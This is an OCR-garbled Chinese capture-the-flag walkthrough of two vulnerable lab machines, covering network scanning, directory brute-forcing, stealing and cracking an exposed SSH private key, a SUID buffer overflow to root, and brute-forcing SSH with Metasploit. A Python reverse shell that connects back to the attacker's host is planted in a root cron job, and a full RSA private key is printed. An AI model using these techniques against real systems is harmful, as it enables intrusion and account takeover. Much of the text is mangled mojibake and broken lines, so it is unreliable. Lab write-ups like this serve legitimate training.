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Author: @__timk

Debian GHNU-Linux 9 covfefe ttyl

oufefe login: h?"["A

038508 37 P9 2% A 455 -

1.4 A netdiscover -r ip/netmask M2 #37 IP
(B: netdiscover -r 192.168.231.1/24)

2.8 H ping ¥l iX Bk & t
(Ctrl+C {2 1Eping#r4)

ENTTETFRMNQPHGE, FERTHM, RMITFRAIRS™ GRiREHD =~

nmap -sV 192.168.231.141** (W BIREER) **

MRS X R —NMEENIR D . 8 A% 0 80~1023, FERRP ARG O, JOHX K3 O Khttp ik % HEE



XtF Fhttp AR % B K O, BT LR EXhttp://ip:port/ i 72 2 il 5
EEIRRIGIRBCT 5 B R Fflagls S, A THEERIBS T

dirb http://ip:port/ xR 55 ) B 5 SC A 34T BR

BlF ZHh R B~ robots.txt, . XA REE N B
Fic B ST R A T fo VB R 51 ZE BRI (0 SCARBRAS Fo Y e R 51 IR B B ST .
Disallow: /S 5t V4 R fry S04

RIL—A AmEEA S0
404 Not Found x | http://192.168

@ | 192.168.253.10:31337/ 05000 [

=1 Most Visitedv [f]Offensive Security “s Kali Li

User-agent: *
Disallow: /.bashrc
Disallow: /.profile
Disallow: ftaxes

Ihik Flflag !
Mozilla Firefox

404 Not Found x http://192.168.253.10:31... x | http://192.1..31337/taxes/ x | 4
€ (O 192.168.253.10
1 Most Visitedv [Jll Offensive Security & Kali Linux " Kali Docs " Kali Tools = Exploit-DB W Aircrack-ng i

Good job! Here is a flag: flagl {make america great again}
h

ST T —Mlaglh

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.253.10:31337/ ----
http://192.168.253.10:31337/.bash_history (CODE:200|SIZE:345)

http://192.168.253.10:31337/.bashrc (CODE:200|SIZE:3526)
http://192.168.253.10:3133//.profile (CODE:200|SIZE:6/5)

http://192.168.253.10:31337/.ssh [(€us]S3polch ISy VAR EY

http://192.168.253.10:31337/robots.txt (CODE:200 |r_SIZE:70)

ttps:/blog.csdn.net/u011005040

1) 192.168.253.10
3 Most Visitedw [JfJOffensive Security & Kali Linux "8 Kz

['id rsa’, 'authorized keys', 'id rsa.pub']

SSHYER: AT UMEZFE TH SN ssh s /7 i B R B A Hu R 5 s ssh iR 95 £, S8 5 SEBLIEFR THEEHLN R 55 25 O IT TR #R A .

id_rsa FAEHER id_rsa.pubAFHBEAT XL, % bb R T W) B ki AR 45 B
192.168.253.10
) Most Visitedv  [Jf§Offensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools = Exploit-DB Wy Aircrack-ng gldKali Forums “ NetHunter @ Getti

[ ', "authorized Keys', 'id rsa.pub’]



Opening id _rsa o
You have chosen to open:
b id_rsa

which is: BIN file (1.7 KB)
from: http://192.168.253.10:31337

Would you like to save this file?

i_ Cancel H Save iﬂe ]

HeleEeinirEe]=Ivi®|

FEZPRE AU TR T RZ)E (AR BRASMH. NEXRRFE M) RATRAH, BN MEERS S5

SRR B T TR RS 3%

1.

X B B R

2. 17 shell
3. cdB|£MH
4.
5

Is -alh (&F HRFXARBR) CHAER SHRRIAD

. ssh -i id_rsa simo@192.168.231.141 (%} B Fl )" &2 @¥E Pl a4t )
(MR RIEE R4, BBERN TR T IMERBEEITI, BE—1TRIEHF 4}

Applications « Places +  [g] Text Editor =

Open » || &

ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAC
+EYZ68Y9INRAZogBwYTLdoUVaZw0ilverfrigd
simon[ejcwfefe{

R BE RS EE M A\ yes
:~/Desktop# ssh -i id rsa simon@192.168.253.10

he authenticity of host '192.168.253.10 (192.168.253.10)' can't be established.

CDSA key fingerprint is SHA256:5Tmg/FD7Iga/sFY/1z4etq44S8/bmokTg3R3VyjHtVM.

A\re you sure you want to continue connecting (yes/no)? yes

arning: Permanently added '192.168.253.10' (ECDSA) to the list of known hosts.

[GECEEECEEEEEEEEEECEEEEEEECEEECEEEEEEEEEELEEECEECEEELEEELES
WARNING: UNPROTECTED PRIVATE KEY FILE! @

HEECEEEEEEEECEEEECEEECEEEEEEEECEEEEEEEEEEEEEEEEEECEEECEEEEE

ermissions 0644 for 'id rsa' are too open.

t is required that your private key files are NOT accessible by others.

his private key will be ignored.

oad key "id rsa": bad permissions [
pimon@192.168.253.10: Permission denied (publickey). e s 00

CRFBAR, EFHMAA: chmod 600 id_res
R PR AT 527 5 )

TRATBERMAED (RAELLERM)
(BT REEEH#—PHFERER)

{8/ ssh2john i5id_isafiBEREHEAjohnB] LURBIRNER

rhmnd &NN iAd ica



Wl IV WY TWd T

ssh2john id _isa > isacrack

WE, RBELEZLT, BEFERN, 2RIRELENRE R, MTEERMEEREL. okid_rsai b T #johniR B ) 3¢
£, F#r4ssh2john

R4 > U4, R ISR E], BH

python3 /usr/share/john/ssh2john.py id_rsa > passwds

Fzcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules

passwdsBl#john passwds# 2 i 304 passwd s fi#

BT RE S 7 J kAT i Fisacrack(z B

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules isacrack(fl|fzcatT &, WHgzXXH%E, BBidEERITHE%jogh, —
pipest Zjogh%i N, isacrack#l N AT il 3 )

I PL: starwars

authorized keys id rsa mount-shared-folders.sh rsacrack
1:~/Desktop# zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA 32/64])

Press Ctrl-C to abort, or send SIGUSR1 to john process for status
starwars (id_rsa)
1g 0:00:00:00 12.500/s 8362p/s 8362c/s 8362C/s BEINEID
Use the "--show" option to display all of the cracked passwords reliably
Session completed
~/Des ktop# l https 3.csdn.net/u011005040

8. FH N IER, HUASU5 )AL
:~/Desktop# ssh -i id rsa simon@192.168.253.10
Enter passphrase for key 'id rsa'’
Enter passphrase for key 'id rsa':
Linux covfefe 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) 1686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Fri Dec 29 11:21:19 2017 from 192.168.253.11
simon@covfefe:~$ pwd ht -sdn.net/u011005040

FREXrootA FR :
1.2 % B rootBU R iS4
find / -perm -4000 2>/dev/null
REFHBE—EZBERT, BEEHHIATHRK ST
(-perm -400 F BAHIATHR)
(2>/devinull 7~ B G5 3R 5 HH A 2 ) (A INFT R BB I = IR SMER)

WMATRE, RI— MR LBBRE S read message (3 H R LATIF )

simon@covfefe: /root$ find / -perm -4000 2>/dev/null
/usr/bin/chsh

/usr/bin/passwd I

/usr/bin/chfn

/usr/bin/gpasswd

/usr/bin/newgrp

Fowe o e Y 2L N AL .. - [ o W N | SR, Al e e m m e ST




/USr/L1lD/ADUS-1.U/ADUS-aaemon-Launcn-newper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

/usr/local/bin/read message

/bin/umount

/bin/su

/bin/mount

/bin/ping

simon@covfefe:/root$ ittps://blog.csdn.net/u011005040

H#cat read_message, KIiflag2uivE B
simon@covfefe:/root$ cat read message.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// You're getting close! Here's another flag:
// flag2{use the source luke}
int main(int argc, char *argé[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";

printf("What is your name?\n");
gets(buf);

// Only compare first five chars to save precious cyd
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf
// This 1is safe as the user can't mess with the
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Po
exit (EXIT FAILURE);

log.csdn.net/u011005040

FHRERREFE RN, R—ACESER, JFHERRNSPIT— M message i, XTI R EA rootl R, BATHATRR:

simon@covfefe:/root$ read message
What is your name?
liu

Sorry liu, you're not Simon! The Internet Police have been informed of this violation.
simon@covfefe:/root$ read message

What is your name?

SimonAAA

Hello SimonAAA! Here is your message:

Hi Simon, I hope you like our private messaging system.
I'm really happy with how it worked out!
If you're interested in how it works, I've left a copy of the source code in my home directory.

I
- Charlie Root

P i



simon@covfefe:/root$ read message
What is your name?

SimonAAAAAAAAAAAAAAA/bin/sh
Hello SimonAAAAAAAAAAAAAAA/bin/sh! Here is your message:

KMRAEBES, HA T roothl R
# cat flag.txt

You did it! Congratulations, here's the final flag:
flag3{das bof meister}

T Ffalg.txt, 15355 iflag

NFES: FHA—RIIMZBDIZE, 1238 1 flag

KRG B4

1. 8 netdiscover -r ip/netmask IR ££ $37 IP

2. nmap -sV 192.168.231.141 B\ F BURFE B

3. dirb http:/fip:port/ Xt 3iX AN Ak 55 B B 58k SC 4 33 47 R 3

4. ssh-iid_rsasimo@192.168.231.141 (%} 5 F 2 @FEH L bt ) sshB ki & B AR 55 2%
5. chmod 600 id_res I TR ol 2 7] 5

6. ssh2johnid_rsa id_rsa > rsacrack iX F B 7 X e tH L T — A john ] i1 51 i 3T 44

7. zcat /usr/share/wordlists/rockyou.txt.gz | john —-pipe -rules isacrack (fl FlzcatT B, WEgz X 4%, BALEEZRTES
jogh, —pipest & jogh¥i N\, isacrackHt st 17 %)

8. find /-perm -4000 2>/devinull (AR EFZRHE—EZEM T, EBFBE TR XA
(-perm -400 T~ BB WATHUR)
(2>/devinull 7~ 8 %88 R 5 H a2 ) (N INF] e B E N < HIESMEIR)

9. catread_message EF XL HANE
2.CTF-SSHIR £ Hi& (£ 2 AUR)

1.SSHi A+ A

SSHASAE T MAEEM LI ZEhil, SSHENTEERIEMILA MRS R Z ST RAWAREUNX LR —
MEFHETHIRERK, JFXHBHESIHMhRIERS. SSHE SRR T TCP 225 3% O K iR %

2.SSH YA UE DL
EFOLMZERIE

REFMIEECKSMOL, RATUEREEEEN. A EmKBERSBNE, ERARRIEVRIEEER MRS 352 7R 8
BEERRS . TRESA KRS SES REERRS S, W22 N X7 AKEEG.

ETEAR R ERIE

FERKEFHEHRS S, R A Y TR U 3E R .
A BOHEZH AH: REBZH (AHZH
id_rsait R R, Tid_rsa.publl] 2 /R KA 4H



BT MR, BTN A MER, BSSHE P inER BT ENKSSHIRS, LHX RSB —EZHl. OF
—EFroottfR, WREREH SRR CEOLXEHBMA)

e EHLE B, BREE IR § F 7 44 A R

chmod 600 id_rsa (BECAREERIE)

ssh -i id_rsa AP ReEENHIE BRRSE. CR—E~RrootifR)

ZAA AW ? —A)iE, & HKBUSag, REFHEEIrooth R

TR WU B2 35 FF 18O AR 55 5 IR 55 1 AR AR
nmap -sV #37IP#iht

WG 2 BE R
nmap -A -v 5837 |P 3 bk

BHEG I BRIERGRB SR A
nmap -O $837 Pkt

RTLUR 517751 B0 1SS
:~# nmap -sV 192.168.1.106

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-30 20:54 EST
Nmap scan report for 192.168.1.106
Host is up (0.00014s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
open ssh OpenSSH 6.7pl1 Debian 5+deb8u3 (protocol 2.0)
open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
MAC Address: 08:00:27:34:50:F8 (Oracle VirtualBox virtual NIC)
Service Info: 0S: Linux; CPE: cpe:/o:linux:lanux kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds htips:/blog.csdn.net/u011005040

Xt FSSHAR % #1223k O K%L

BHhER
1. BIIWR
2. PAME (RPAFRENNNZEL. AT URBAAKH %)



s+ FIF B httphk 55 (1 8035 1 5l HoAth i 1 F$E
BHAEER
1. & B %5 88 U i) nf B #E S http AR %
Chttp://#3% IPH 5t : httplR 453 1)
2. ffF $R3 T H xfnttp ) B k475,
(dirb http://#8 37 IPH#h it : httpfk 55 3% 1)
FAER HRm O (KF1024%5 0)  (2n8080% )

i FH o S AR $E 37 IP I http AR S5 4R, W R P R AR MEER, THERRAANSEE (BWRMEsshi A £E8) , &
VAT, J14ER— dirbia # 2K B R UE AV N EE

JuHEXfrobots.txt. AKX —EHF#ATUIH, BRASFANENEE. N THEsshikRFHEY, FLEFERREUIRK
FlsshFh {5 B (id_rsa);

Secretsec : A security company

Secretsec is a company based in France who is installed into plenty country around the world
(Albania,Greece,India,Japan,USA,China,Mexico).

We make your security our priority . Wanna be defended agaist Cyber Threats ? Call us at
052-452-990-054 .

- Network and Computer Penetration Testing
- Attacks stopping
- Network Creator

- Secure operating-system installation

Martin N
Hadi M
Jimmy S

LEN@secretsec.com

BENRERITUE, FHME)E K Imartin 2 NH HEI1E B
XTEEIZREATERM: dirb http://192.168.1.106/ (B R E )

GENERATED WORDS: 4612

Scanning URL: h‘r‘r; /18 1Fw .1 106

==> DIF’.ELTOF’.T. 192.168.1. 1(.h.1_fmaﬂua i..f
+ http:,.-",Il'SrE.lbu.l 1[]6_,fr0b" s.txt (CODE:200|SIZE:57)
+ http://192.168.1.106/server-status (CODE:403|SIZE:301)

Entering directory: http://192.168.1.106/files/
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

- g directory: http://192.168.1.106/icons/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)




--- Entering direc
> DIRECTORY:
==> DIRECTORY:
DIRECTORY:

manual/1m
html (COD |SIZE:626)
anual/
DIRECTORY: : ; ma il
> Testing: http 02.168.1. 106 : search
(~# it ] 1011005040

ST T, BokfilesT] REAEAEBURIE B, Eﬁéop_enl link3T F#

(| 192.168.1.106

0 Most Visited~ [lJOffensive Security "8 Kali Linux ", Kali Docs ™, Kali Tools = Explon-D8 Wy Airc

Index of /files

Name Last modified Size Description
al'.m:m Directory
Apache/2.4.10 (Debian) Server at 152.165.1,. 106 Port B0

R, RIEE T ECRAE, FUEEMANME %455 T4, icons& R/, H#EITIFopen link

% | @ 192.168.1.106

i Most Visited~  [JJOffensive Security " Kali Linux % Kali Docs " Kali Tools = Exploit-D8 Wy Aircra

Index of /icons

Name Last modified Size Description
JI'.n'unl Directory _
@ README 2017-06-07 22:29 5.0K
[§] README.html 2017-06-07 22:29 35K
E]VHHnﬂﬂNNH\r 2017-06-07 22:34 1.6K
[ a.gif 2017-06-07 22:29 246
[ a.png 2017-06-07 22:29 306
[ alert.black.gif 2017-06-07 22:29 242
Ig alert.black.png 2017-068-07 22:29 283

.

RIT —AD=ERSCE, 17777, KIRSARHARFEE (d_rsa)

----- BEGIN RSA PRIVATE KEY-----

MIIEowIBAAKCAQEAONgGGOYEpPN/txphuS2pDAli2nvRxn6s8D058QcSsY+/NmbéwC
tprVUPb+fmKKvOfSntACY7c/5fMay83+UWPGO190Wr jdaTCPaGAHj EpZYKtOLEcO
FiQkXTv]S4fa¥YHNah/mEvhldgTc59jeX4di0f6660mljF31SA9UgMLQReKdSGKtUX
Sm+sQq6L+VyA2/6GD/T3qx35AT4argdkINZ90Nmj 1Zc IpBevVIvUul34zulZSmDv
DZuLRR6QpcMLIRGEF ZdqwkMZn7NavEmfX1Ykabmu9iwxkY6iTA5YALCApTNELSyI
/PEKDxMfCVELAUaUSfcPolkZ6xLdS6yyThZHHWIDAQABAOIBAAZ+Cc1CTTA/E3INT7E
LL/SvH30GQd16xh902FyR4YIQMWQKwb7 /0g0fEpW)pPf/dT+sK9eypnoDiZkmYhw
+rGii6Z2wCXhjN7wXPnj lqotXkpudbgS3+F8+BLj 1Q79ny2Bus f+pQNTflsyexD]S
sEkoDLGTBiubD3I14UoF7KfsozihdmQYSqud2c4iEBioayo2mIXIDrelEB20Q5Ta
1VeGO3unv/v70K3gB8dAQH rBROMXuY iorcwxLAe+GmlhdXanMKDYMS/ jW4J02ITAn
kPducC9chbM4NqB3ryNCD4YEgx82zWGDtOwjgy fnsF4fiYEI6tqAWWoBOtdqIFXAyY
FLQITYECgYEAz1bFCpGBCApF1k/0aQAyyStirSNQpttCcOL2ULIKIIWNMISHK/tTX
4+1y0CBUzDKkkedY1tVYK7TuH7/t0jh8M1BLa+g+Csb/OWLUMKmpoqyae jmoKkLnB
WVGkcdIul fsW7DWVMS/ zAB1xJpt7bvYT7Y142gKkurxqjLMz5s/xT9geECgYEAxpTC
fGvogWRYUYO70LE/b7oMVOdBQsmlnaKVybuKf3RjeCYhbiRSzKz05NM/1Cqf3591
Wdznqd fkIvr6khliuj8GuCwvewkn9+nViS18s1bG6Z5UIYSRIRpviCS+9BGShGls
KOf1fAWNWRCN1UKtdQVvalLBX9KIwcmTBri+e6P8CgYAtz24Zt6xaqmpjvoQKDXEq
ClrykAnx0+AKt3DVWYxBloRrD+IYqB85HTPzxHz0dK8LzaHDVDb/ 1aDROr2MqyfAn)

kaDwPxORSN++mzGM7 ZXSuuWt caCD+Yb0OxUsgGuBQIvod LnkwNPfs jhsV/KR5D85v
VhEVGEME A7 +TAne SNOFNANKRANC Hod ful IRIX v AC TuhPAvMH wi HParMHANRNKG+ 1



W Rl W i T T T B R N T o T Wl 0 i T el W R EAUN W B WA R e N D W R T

4ypkMF37B0ghXx4tCoA16fbNIhbWUsKtPwm790QnaNeu+ypiq8RFt78o0rzMu6]IH
dsRvA2/Gx3/X6Eur6BDV61to30P6+zqh3TuWUe0Uadt+nHIANGj93e7jy9ul7jtC
XXDmuQKBgHZAEGGTq47k4sbFbWqldS79yhj jL1ojOVUhVal ZyAP6XVEITiAgICYR
201pyGm7j 7TwfhIZNBP/wwlSC2/NLV6rQeH7Zj8nFv69RcRX56LrQZj FAWWsa/C43
rl)7d0FH70FQbGpS1ub88M1VOiXR6/ fUSOMOKXT11KKETj /xp6t+

----- END RSA PRIVATE KEY-----

S F R LBy, ] DUE F niktodd 3 83 SR 2 I BURME B

FrAER config SRR IREBURSCIF, EMZAMMS R 1287 A HKEURE B ;

PhniktoFF 45434
:~# nikto -host 192.168
- Nikto i

+ Target IP:

code (200)

forbidden or redirect HTTP «
jirohnts txt" contains 2 entries which should be manually viewed.
>d (current is at leas /2.4.12). Apache 2.0.65 (final re =) and 2.2.29 are also

HTTP Methods: OPTIONS, GET, HEAD, POST csdn.net/u011

HTTP Me

238 F i ssh 25 457
1. #&id_rsaff B R
2. FIHRHZ MRS S

YER: WIRId_rsaR EEEES, A LUEREH. HEURId_rsaFEE R, A8 ZH T DR .

Se TR



mv VDSoyuAXi@.txt id_rsa
(FEVDSoyuAXio. txt Ear 4 aid_rsa)




BE— IR, RIUARE003MH, MiR: 64481
:~/Desktop# 1s -al

4096
4096 Dec
1677 Jun

root 4096
root 4096

23048 F martin & i iR %5 2%, RIh

e programs included with the Debian GNU/Linux system are
distribution terms f 1 ogram are described in
individual files in /us

vith ABSOLUTELY NO WARRANTY,
pe _
Last login: Sun Dec 31 ¢ 59 2017 from 1

READY TO ACCESS THE SECRET LAB

WELCOME !

g.csdn.net/u011005040

ebian:~% pwd
rtin
idebian:~% ls -all

martin
root ] 9 5=
martin tin 1 ( 30 16 h_his
martin m ' 7 : h lo
martin martin 35 juin 7 .bashrc
martin martin > juin 7 - file
r-x 2 root root 4096 juin

maréin@degian:~5 I I dn.net/u011005040

5% cd/hone/ H /home$ IsEEE A WRLEFH 1 4
debian:~
idebian: /h




FERMFH/LIE, BAITE MO T HAE,

1. BFE X410 H P whoami
2. id F 287 H P AR
3. &F R ER FHhagx

fEHid, BERAB Aroot, KIHAEAroot, HEANLEH T, BRITEFE#R SR
martin@debian: /home
uid=1001(martin) gid=1001(martin) groupes=1001(martin)

martin@debian: /home$s I

HEATRNZE, BEMAUTHS, B TEERSR

etc/passwd BEFAH P 5%
etc/group BEHFAH
user P2 BERTIESHFRCH
BEZMT A HF

slog.csdn.net/u011005040

HEETHPA:

www-data:




vic 4:hadi
sasl

plug

staf

games:

LUSer:
nogre
input:»

BE MM B F:

martin

HETRLIE, KIBA T2 HEARE

BANZH (RFHMERS XRENALE)

1. letcicrontab (ML CH R E RAEHPATHAES, 4B, FErootBR. AFEKH AR LA A F K E TS
2. cat/etc/crontab (Z#EHMA P REBENES, FEETNIMESZHNE. TATHRES B EXT T VL8 A3
.

R letc/crontab THEANH R iR, EE2AKEHJFTREXNEN BATHRISCH, TTLLETAIE K #Hshell, 2
J& netcat $A7 M T IREU B P AR .«

WRA R AT B, AP EBIN N H %, BEENMARR, EESEHSRTAGIERENR.



THBAIKEME—T: cat /etc/crontab

nartin@debian:/tmp% cat /etc/crontab

# /etc/crontab: system-wide crontab
Unlike any other crontab you don't have to run the "¢
command to install the new version when you edit this file

t and files in /etc/cron.d. These files also have username fields,
that none of the other crontabs do.

rontab’

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * i root cd / & run-parts --report /etc/cron.hourl
Kk root test -x /usr/sbin/anacron || ( / parts --report /etc/cron.daily )
root test -x /usr/sbinfanacron | ( / &8 parts --report /etc/cron.weekly )
root test -x fusr/sbin/anacron || ( / run-parts --report /etc/cron.monthly )
T 1/t cekurity.py
g Bython. /imp/SChuELLy. Py https://blog.csdn.netiu011005040

# m h dom mon dow user command
ko root cd / && run-parts --report /fetc/cron.hourly
i b root test -x /usr/sbin/anacron ( cd / && run-parts --report /etc/cron.daily )
7 root test -x /usr/sbin/anacron | cd / && run-parts --report /etc/cron.weekly )
A & root test—x—usr/shinfanacron ( cd / && run-parts --report /etc/cron.monthly )
b B iimmy nvthon _x"'.'n[Jf'
martin@debiang:/tmp$ 1ls -al ]
total 32
drwxrwxrwt 7 root root 4096 31 03:47
drwxr-xr-x 21 root root 4096 1 26 2017
-rw-r--r-- martin martin 201 . 31 02:41
d rwxrwxrwt root root 4090 dec. 31 ©1l:56
Wt root root 4096 . 31 @1:56
K root root 4096 . 31 81:56
root root 4096 . 31 61:56

root root 4096 . 31 01:56
:/tmps ]

https://blog.csdn.net/u011005040

{BRFATLEtmp B 3 FI&H F FIX B Msekurity.ty SO, BT AERATHTE — M. py ST T E v 4

K #ishell
378G

import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect ( (“THHLIPHLAE > B AL IS B i 11°7) )
o0s.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)
o0s.dup2(s.fileno(),2)

p=subprocess.call([“ sh”,”-1”1])

Kbl netcat A4
nc -lpv K5 HwmH
netstat -pantu

KT T A&, FE44440885 T, FrUARNIEH4445, BAnc -lvp 4445




dn.net/u01100

martin@debian:/tmp$ cat 1l.py
#! /usr/bin/python
t socket,os,subprocess

socket.socket()

s.fileno(),0)

.fileno(),1)

2(s.fileno(),2)
p=subprocess.call|
martin@debian V¥

BIEHIPIAN T 5E (H—2, BRI 4 B§s=socket.socekt(socket. AF_INET,socket. SOCK_STREAM

EigL— XM, FHEE, RACEFLRI:
ebian:/tmp$ mv 1.py sekurity.py
bian:/tmp$ ls -al

r [
tin martin
root
0 root
root root
:/tmps |}

+X sekurity.py

root

n
root
root
root

7
21
2
2
2
2
1
2
2

I

3.1.106] 34415




BT H g KX A e F444450R, XIAPAT—AMwhoami RILEZE RKjimmy T, )5 Hid KB EF rooti R «
B F 7 0K S350 B BL R AN BEBE4T su -rootiR THLFR
IR % K B martin Aljimmy A BEREAT SAL o

HAK— 8%

AR ERRE R aextsshik ST B I . B E—1
P 4. BifEITE thydra. medusas;

Secretsec Company ® | http:V192 1 SoyuAXiOtxt x =+
€ @D 192168 1106 150%) | ¢

i Most Visitedw [l Offensive Security “s Kali Linux %, Kali Docs "% Kali Tools = Exploit-DB Wy Aircrack-ng gl Kali Forums S NetHuenter @ Getting Started

Secretsec : A security company

Our Company

Secretsec is a company based in France who is installed into plenty country around the world
[Albania,Greece,India,Japan,USA,China,Mexico),

We make your security our priority . Wanna be defended agaist Cyber Threats 7 Call us at
052-452-990-054 .

- Network and Computer Penetration Testing
- Attacks stopping

- Network Creator

- Secure operating-system installation

Martin N

Jimmy S

martin@secretsec.com

ReER B ERE— R4

F A cupp £ &+ st

git clone https github.com/jeanphorn/common-password.git

chmod +x cupp.py
cupp.py -i PAAZ B H77 A -

BRI —A%dhed, YIHEIL




#i\ git clone https://github.com/jeanphorn/common-password.git 57 & 5 #i. 3z 44

De git ¢ ne https://github.com/jeanphorn/commaor

chmod +x cupp.py #AT AT HAT AR B 7
Jeupp.py -i C/RRPAT, -iPARE BAERBEATER)
%ﬁ*%ﬂﬁﬁyﬁmﬂﬁiﬁiﬁzu

nsert 1 formations the victim to make a di
¢ all the info, just hit enter when a

e (DDMMYYYY ) :

YYYY) :

t/u011005040

LY P RA

msfconsole

— msf > use auxiliary/scanner/ssh/ssh_login
(fEAA#mEY)

— msf auxiliary(ssh_login) > set rhosts 192.168.1.137
— msf auxiliary(ssh_login) > set username hadi

— msf auxiliary(ssh_login) > set pass_file hadi.txt
(REXNNMKSED

— msf auxiliary(ssh_login) > run

G247 X8 B9 8 48D

ZiR—F, Jefii Amsfconsole:

FRUE CUR WRIW SUAILH IETie  mep




! 'I"rIcIeI‘ v AMAN L ShddddmMMMMMMNG
/ r1'1'| MMMMMMMMMM MMMMm &S MMMMMM 'r'r-1P'IHHT'II"I,-'
MMEMMM - S MMMM MMM MMMMMh
: MMMMMMMMMMM & S MMP {5 S MMMMMMMAMMMMMB
¥ MMMHMM MM 45 S MMMM AMMMMm /
oo/ hd sNt s MMMMMMMMMM - MMMMMN G MMMAMMAMAMT
. YNmMMh AN M I MMM

/ MMMAMMMMMMMMMMMMMM |
hMMms sddd+ : dMMmNMMh .
sMMmo . dMd ‘mN/

fyddy /.. . +hmo hdd : .

ession one died of dysentery.

: Date: April %% k
Weather: It's always in the l.||.\
%% Health: Overweight
Caffeine: 12975 mg
% Hacked: All the

Press SPACE BAR to continue

83 exploits 969 auxiliary 299 pos
ayloads - 48 encoders - 18 nops
Pro trial: http://r-7.

https://blog.csdn.net/u011005040

2T k¥ \use auxiliary/scanner/ssh/ssh_login
BAVEFBIXABER, BT RBATEE TFTSH:
%%& T 23 show options

msf > use auxiliary/scanner/ssh/ssh login
msf auxiliary( ) > show options

Module options (auxiliary/scanner/ssh/ssh login):
Name Current Setting Required Description

BLANK PASSWORDS false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from @ to 5

DB_ALL CREDS false no Try each user/password couple stored in the current database
DB ALL PASS false no Add all passwords in the current database to the list

DB _ALL USERS false no Add all users in the current database to the list

PASSWORD no A specific password to authenticate with

PASS FILE no File containing passwords, one per line

yes The target address range or CIDR identifier

RPORT 22 yes The target port

STOP ON SUCCESS false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads

USERNAME no A specific userpame to authenticate as

USERPASS FILE no File containing users and passwords separated by space, one pair per line
USER AS PASS false no Try the username as the password for all users

USER FILE no File containing usernames, one per line

VERBOSE false =) Whether to print output for all attempts https:/blog.csdn.net/u01 1005040

B T EVLHip:

msf auxiliary(ssh_login) > set rhosts 192. 153 1 1&6
rhosts => 192.168.1.106

ms.'t aux:l.uary(ssh l.og:l.n} > set username hadi
username => hadi

5 B pass_file :

msf auxiliary(ssh_legin) > set pass file /root/Desktop/common-password/hadi.txt
pass_file => /root/Desktop/common-password/hadi.txt

4. RBLE: A5
msf auxiliary(ssh_login) > set threads 5




5. REBE - TSHRERETH:
(ATE RS HH L E B
msf auxiliary(ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login): qq5f953da371a50, 4

Name Current Setting Required Description

BLANK_PASSWORDS  false Try blank passwords for all users

BRUTEFORCE SPEED 5 yes How fast to bruteforce, from @ to 5

DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB _ALL_USERS false no Add all users in the current database to the list
PASSWORD ne A specific password to authenticate with

PASS_FILE i root.’Desktoplconmon-fassword/hau.txt no File containing passwords, one per line

RHOSTS 192.168.1.106 yes The target address range or CIDR identifier

RPORT 22 yes The target port

STOP_ON_SUCCESS  false yes Stop guessing when a credential works for a host
THREADS B yes The number of concurrent threads

USERNAME hadi no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER AS PASS false no Try the username as the password for all users

USER FILE no File containing usernames, one per line

VERBOSE false Whether to print output for all attempts https://blog.csdn.net/u011005040

SR f5 A REEDD

msf auxiliary(ssh_legin) > set verbose true
verbose => true

7. runizfT, H 45 % Fhadi123
BCHRARTHMRT, EREHRE—T
msf aux "y

Could not connect: The connection timed out (192.168.1.106:22).
[!'!] No active DB -- Credential data will not be saved!
192.168.1.166:22 Failed: 'hadi:Hadile'
192.168.1.106:22 - Failed: 'hadi:Hadill'
“C[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
msf auxiliary( ) > back
msf use auxiliary/scanner/ssh/ssh login
msf auxiliary( ) = show options

Module options (auxiliary/scanner/ssh/ssh login):
Name Current Setting

BLANK PASSWORDS false o Try blank pass 3 1 5

BRUTEFORCE SPEED 5 yes How fast to bri T 0 to 5

DB ALL CREDS false C Try each r/ j couple stored in the current database
DB ALL PASS false ) Add all p: rds in the current database to the list
DB _ALL USERS false ) Add all wus in the current database to the t
PASSWORD hadil23 0 A specific password to authenticate with

PASS FILE /root/Desktop/common-password/hadi.tx C File containing pa ds, one per line

RHOSTS 192.168.1.106 3 The target address range or CIDR identifier

RPORT 22 3 The target port

STOP ON SUCCESS false 3 Stop guessing when a credential works for a host
THREADS 5 3 The number of concurrent threads

USERNAME hadi A specific username to authe

USERPASS FILE File containing users i p s separated by space
USER AS PASS false ] Try the username as the or all users

USER FILE 0 File containing usernames, one per Lline

VERBOSE true 5 Whether to print output for all attempts

msf auxiliary( ) > set PASS FILE
PASS FILE == /root/Desktop/common-password/hadi.txt
msf auxiliary( ) > back
nsf > exit
